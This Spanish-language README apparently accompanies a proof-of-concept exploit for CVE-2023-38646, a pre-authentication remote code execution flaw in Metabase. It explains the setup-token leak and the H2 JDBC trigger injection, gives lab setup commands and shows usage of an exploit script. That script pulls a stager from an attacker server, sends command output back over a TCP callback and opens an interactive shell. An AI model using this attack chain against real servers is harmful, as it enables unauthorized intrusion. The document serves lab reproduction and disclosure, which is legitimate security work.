
El repositorio contiene el PoC y los pasos para reproducir cve 2023-38646
CVSS 9.8. Las versiones de Metabase anteriores a 0.46.6.1 / 1.46.6.1 (y ramas
anteriores equivalentes) exponen una RCE pre-autenticación a través del endpoint
/api/setup/validate, que está pensado para validar los detalles de conexión a
la base de datos durante la configuración inicial, pero es accesible sin
autenticación incluso después de que la configuración ya se haya completado.
El endpoint acepta un payload de conexión a la base de datos y, cuando se
especifica engine: h2 con una cadena de conexión JDBC manipulada, permite
incrustar JavaScript arbitrario mediante la sintaxis CREATE TRIGGER ... AS $$//javascript de H2.
El cuerpo del trigger se ejecuta en el momento de la validación, otorgando al
atacante ejecución de JavaScript dentro de la JVM — lo que escala trivialmente a
ejecución de comandos del sistema operativo mediante java.lang.Runtime.getRuntime().exec().
El problema subyacente es que el motor de base de datos H2 confía en el código incrustado en la cadena de conexión como parte de la "validación" de un origen de datos, combinado con el hecho de que Metabase expone esta ruta de validación pre-autenticación.
metabase/metabase:v0.46.6requests, termcolorEjecutar Metabase vulnerable:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
Instalar las dependencias del exploit:
pip3 install requests termcolor
/api/session/properties filtra un setup-token
que está pensado para controlar el flujo de configuración inicial único, pero permanece válido
y utilizable incluso después de que la configuración se complete.java.lang.Runtime.getRuntime().exec() para descargar un stager bash del
servidor HTTP del atacante y enviar de vuelta la salida del comando a través de un
listener TCP crudo, codificada en base64.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — IP de callback del atacante (puerta de enlace del puente Docker cuando el objetivo es un
contenedor local, p. ej. 172.17.0.1)-p — puerto al que se conecta el canal de datos inverso-P — puerto del servidor HTTP local que sirve el script stager-u — URL base del Metabase objetivoUna vez que el callback pre-autenticación confirma la explotabilidad, se entra
en un prompt interactivo metabase_shell >.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Ejecución de comandos confirmada como la cuenta de servicio metabase — pre-autenticación,
sin necesidad de credenciales. La gravedad proviene de una RCE alcanzable por red con
cero autenticación, no del nivel de privilegios del shell resultante.
Parcheado en Metabase 0.46.6.1 / 1.46.6.1 y posteriores — el endpoint /api/setup/validate
ahora requiere que la configuración esté genuinamente incompleta, y los tokens de configuración
se invalidan una vez que la configuración inicial finaliza.
Solo para uso en laboratorio aislado. No lo ejecutes contra instancias de Metabase que no sean tuyas o para las que no tengas autorización explícita para probar.